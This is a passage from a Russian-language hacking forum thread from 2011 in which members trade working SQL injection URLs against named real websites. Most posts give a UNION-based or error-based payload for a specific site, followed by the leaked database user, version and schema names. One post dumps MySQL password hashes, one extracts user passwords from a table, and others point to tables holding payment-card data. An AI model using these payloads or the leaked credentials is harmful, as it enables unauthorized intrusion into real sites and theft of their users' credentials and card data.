SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. August12

    August12 Member

    Joined:
    11 Nov 2007
    Messages:
    4
    Likes Received:
    7
    Reputations:
    1
    Target: http://www.bowenshideout.com/items.php?id=87
    Host IP: 65.61.119.130
    Web Server: Apache/2.0.58 (Unix) PHP/4.4.6 mod_ssl/2.0.58 OpenSSL/0.9.7i
    Powered-by: PHP/4.4.6
    DB Server: MySQL >=5
    Resp. Time(avg): 931 ms
    Current User: ann@localhost
    Sql Version: 5.0.15
    Current DB: nichebox
    System User: ann@localhost
    DB User: 'ann'@'localhost'
    Data Bases: information_schema
    amiecleans
    busbywc
    divinelightmassage
    flsrv
    foxyhorseandhound
    hallowedpoints
    mobfamilygaming
    nichebox
    nichebox1
    nichebox2
    nichebox3
    nichebox4
    skipcook
    spokanesporthorse
    theamericanschoolforequestrianart
    thelotteryclub
    upc
    zodle_calendar
    zodle_classifieds
    zodle_directory

    ==========================================
    Blind
    Target: http://www.depalo.com/view_item.php?id=2257
    Host IP: 64.226.181.99
    Web Server: Apache
    DB Server: MySQL >=5
    Resp. Time(avg): 1227 ms
    Current User: depaloUser@localhost
    Sql Version: 5.0.77-log
    Current DB: depalo
    System User: depaloUser@localhost
    Host Name: ipdmmg0021atl2.pubip.peer1.net
    Installation dir: /usr/
    DB User: 'depaloUser'@'%'
    Data Bases: information_schema
    depalo

    ==================================================
    Target: http://enbarsenal.com/item/view_item.php?id=2257
    Host IP: 69.163.133.73
    Web Server: Apache
    DB Server: MySQL >=5
    Resp. Time(avg): 899 ms
    Current User: [email protected]
    Sql Version: 5.1.53-log
    Current DB: net7
    System User: [email protected]
    Host Name: fwap
    Installation dir: /data/mysql/deakyne/
    DB User: 'net7user'@'67.205.0.0/255.255.192.0'
    Data Bases: information_schema
    net7==============================================
    Target: http://www.yourprops.com/view_item.php?movie_prop=10270
    Host IP: 74.208.106.166
    Web Server: Apache/2.2.6 (Fedora)
    Powered-by: PHP/5.1.6
    DB Server: MySQL >=5
    Resp. Time(avg): 909 ms
    Current User: admin@localhost
    Sql Version: 5.0.27
    Current DB: yourprops
    System User: admin@localhost
    Installation dir: /usr/
    DB User & Pass: admin:5fb503f751512093:localhost
    pma_IiabUsiU1n6q:6c4572a01bdfb70d:localhost
    horde:039b58f6547b38c2:localhost
    pma_g5Dqcuu61ikC:60fb772f4a1fa923:localhost
    pma_AVMLiZ09j6Cb:05e06de46f9baae2:localhost
    yourprops:6632bfb46db6d97e:%
    Data Bases: information_schema
    horde
    mysql
    phpmyadmin_AVMLiZ09j6Cb
    phpmyadmin_IiabUsiU1n6q
    phpmyadmin_g5Dqcuu61ikC
    psa
    yourprops



    НЕ надо плодить посты, забивай все в один пост, если после тебя ни кто не постил cообщения
     
    #14021 August12, 25 Jul 2011
    Last edited by a moderator: 25 Jul 2011
    2 people like this.
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    пр1
    [email protected]:5.1.46-log:gb_z_stepp17f

    тиц 10 пр2
    drupal@localhost:5.1.49-3:d_parlament

    пр1
    [email protected]:4.0.27-log:lighter

    тиц 10
    mandrey_tiger@localhost:4.0.27-standard-log:mandrey_tiger

    mandrey_profi@localhost:4.0.27-standard-log:mandrey_profi
     
    _________________________
    #14022 winstrool, 25 Jul 2011
    Last edited: 26 Jul 2011
    1 person likes this.
  3. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Ахтунг )

    http://www.spaceweather.com/flybys/sat_popup.php?sat_name=-Idefix%20and%20Ariane%2042B%27+union+select+1,2,3,4,version%28%29,6,7,8--+
     
    2 people like this.
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    [email protected]:4.1.24-max-log:artem

    [email protected]:5.1.41-log:elgaucho_elgaucho

    koreatrave@localhost:5.0.26-log:koreatrave

    veretenina_bs@localhost:5.0.77-log:veretenina_bs

    kabelcomru@localhost:5.1.50-lk-log:kabelcomru
     
    _________________________
  5. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://www.hkyongnuo.com/e-detail.php?ID=-281+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+--+
    [email protected]:5.1.56:web2db16
    PR 3
    тИЦ 20
     
    1 person likes this.
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    sirius55ru@localhost:5.0.56-lk-log:sirius55ru

    dushevaya@localhost:5.1.49-3:dushevaya


    slidell@localhost:4.1.22-log:cityofslidell

    Решил малость прикалоться))
    [email protected]:5.0.18-NT:STEARNS_LENDING_V11081

    [email protected]:5.0.77:consulting_dbo
     
    _________________________
    3 people like this.
  7. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://lingedelit.ru/category.php?id=-8+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9+--+
    [email protected]:5.0.90:lingedelit_ru
    PR 1
    тИЦ 10

    Code:
    http://www.zareformu.ru/index.php?id=-5303+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5+--+
    borodin-mokaru@localhost:5.0.51a-24+lenny4:law
    PR 2
     
  8. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PHP:
    http://www.romefortravellers.com/content.php?sez=-eventi'+union+select+1,2,3,user(),5,6+--+
     
  9. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://vl2.gallaudet.[COLOR=RoyalBlue][B]edu[/B][/COLOR]/staff.php?id=-40+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13+--+
    5.0.51a-community-nt
    PR 6
    P.S. Файлы читаются...
     
    1 person likes this.
  10. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://www.proauto.ws/view.php?id=-1436+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6+--+
    pux161_proauto@localhost:5.0.91-community:pux161_proauto
    PR 2
    тИЦ 10

    Code:
    http://www.microkino.ru/view.php?id=-214+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5+--+
    microkino@localhost:5.0.70:microkino
    PR 2
    тИЦ 20

    Code:
    http://www.lestnicy.net/category.php?id=-84+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8+--+
    lestnic4_borik@localhost:4.1.25-log:lestnic4_shop
    PR 2
    тИЦ 20

    Code:
    http://privatehotel.net.ua/order.php?ad=-305+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6,7+--+
    sotrudnik_vert@localhost:5.1.40-log:sotrudnik_photel

    Code:
    http://avtounion.ru/news/article.php?id=-1040+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8+--+
    [email protected]:5.0.90:b109358
    PR 2
    тИЦ 50

    Code:
    http://www.intforus.ru/vuz-info.php?id=-15+union+select+concat_ws(0x3a,user(),version(),database())+--+
    portal@localhost:5.0.32-Debian_7etch12-log:cmiir
    PR 1
    тИЦ 20
     
    2 people like this.
  11. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Code:
    http://copyright.net.au/buynow.php?id=-1+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6--
    PR 4
    В customer_order содержится инфа о пластике..
     
    2 people like this.
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    http://www.deitch.com/projects/slide_pop.php?imageId=2405+union+select+1,2,3,4,%28select%28@x%29from%28select%28@x:=0x00%29,%28select%28null%29from%28information_schema.columns%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29%29%29%29x%29,6,7,8--&name=
     
    4 people like this.
  13. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://www.identitycrowd.com/buy_brands.php?category_id=1-0.1+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
    Database Version: 5.0.92-community-log
    Database name: identity_preview
    User name: identity_ident@localhost

    Шоп логотипов и каких-то картинок.

    Code:
    http://www.reggaefrance.com/player/videoplayer.php?num=1-0.1+UNION+SELECT+1,2,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),4,5,6,7,8,9,10,11,12,13-- 
    Database Version: 5.0.44
    Database name: rf_web
    User name: reggaefr@localhost

    Всем французская рагга пасаны. ^^
     
    #14033 HellFire, 28 Jul 2011
    Last edited: 28 Jul 2011
    2 people like this.
  14. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Code:
    http://www.andademiparte.com/cupon.php?id=-205'+union+select+1,2,3,concat_ws(0x3a,id,user,pass),5,6,7,8,9,10,11,12,13,14+from+usuarios+--+
    5.5.8-log
    PR 3
     
    4 people like this.
  15. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://www.technique-extreme.com/english/sommaire_produits.php?num_sommaire=1-0.1+UNION+SELECT+1,2,3,4,5,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
    Database Version: 5.0.77
    Database name: dbtechniqueextreme
    User name: web12500@localhost

    Какой-то горнолыжный гавно-шоп.

    Code:
    http://citya.com/actualites.php?num_actu=1-0.1+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4,5,6,7,8,9--
    Database Version: 5.0.51a-24+lenny2-log
    Database name: site_citya
    User name: [email protected]

    Французская недвижимость.

    Code:
    http://www.oswaldspharmacy.com/product.php?id=1-9999999.99999+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4,5,6,7,8,9--
    Database Version: 5.0.77-log
    Database name: 360851_oswalds
    User name: [email protected]

    Пендоская фарма.
     
    #14035 HellFire, 28 Jul 2011
    Last edited: 28 Jul 2011
    3 people like this.
  16. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://www.genichesk.com.ua/album/view.php?id=-554+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4+--+
    u_genichesk@localhost:5.0.51a-15:genichesk
    PR 3
    тИЦ 50

    Code:
    http://www.stroytechmarket.ru/order.php?id=721&pid=146%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29%20from%20%60information_schema%60.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20%60information_schema%60.tables%20group%20by%20x%29a%29%20and%201=1
    stroytec_db@localhost:5.1.44:stroytec_db1
    PR 3
    тИЦ 20

    Code:
    http://www.ilcanecorso.ru/dogs/view.php?id=-8+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6+--+
    [email protected]:4.1.25-log:wwwilcanecorsoru
    PR 3
    тИЦ 60

    Code:
    http://www.ghkandt.com/order.php?id=-9%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29%20from%20%60information_schema%60.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20%60information_schema%60.tables%20group%20by%20x%29a%29%20and%201=1
    ghkandtc1@localhost:5.1.28-rc:ghkandtc11
    PR 3
    тИЦ 60
     
    2 people like this.
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Прэлесно )))

    http://www.unidir.org/bdd/fiche-article.php?ref_article=-2759+union+select+1,2,3,4,user%28%29,6,7,8,9,10,11,12,13,14,15,16,17--+
     
    2 people like this.
  18. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PHP:
    http://www.asiademocracy.org/content_view.php?section_id=-11+union+select+1,user(),3,4+--+
    VERSION : 5.1.58-community-log
    DATABASE : sghumanr_arda
    USER : sghumanr_arda@localhost

    PR - 4

    PHP:
    http://www.manilawater.com/section.php?section_id=2+union+select+1,2,3,concat(database(),char(59),version(),char(59),user()),5,6,7,8,9,10+--+
    DATABASE : db123289_manilawater
    VERSION : 5.1.55-rel12.6
    USER : [email protected]
     
    1 person likes this.
  19. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Code:
    http://www.indexcopernicus.com/info.php?id=6%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29%20from%20%60information_schema%60.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20%60information_schema%60.tables%20group%20by%20x%29a%29%20and%201=1
    User: panel@ic-i_fire-ny.indexcopernicus.com
    Version: 5.0.26-Max-log
    Database: indexcoper

    PR 6
    тИЦ 20
     
    1 person likes this.
  20. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PHP:
    http://www.omlxi.com/project.php?php_ex=-1+union+select+concat(database(),char(59),version(),char(59),user())+--+
    VERSION : 5.1.58-community-log
    DATABASE : omlxicom_work
    USER : omlxicom_wrkuser@localhost

    PR - 2
    Вывод в тайтле

    PHP:
    http://sanovide.com/diet_subcategory.php?sub_cat_id=-17+union+select+1,concat(database(),char(59),version(),char(59),user()),3,4,5,6,7,8,9+--+
    VERSION : 5.0.77
    DATABASE : Sanovide
    USER : Sanovide@Localhost

    PR - 2

    PHP:
    http://www.mysoutherntier.com/view_bus_cats.php?sub_cat_id=-152+union+select+1,concat(database(),char(59),version(),char(59),user()),3+--+
    VERSION : 5.1.56
    DATABASE : mysouthe_mysoutherntier
    USER : mysouthe_mysouth@localhost

    PR - 2
    Вывод в тайтле
     
    4 people like this.
Thread Status:
Not open for further replies.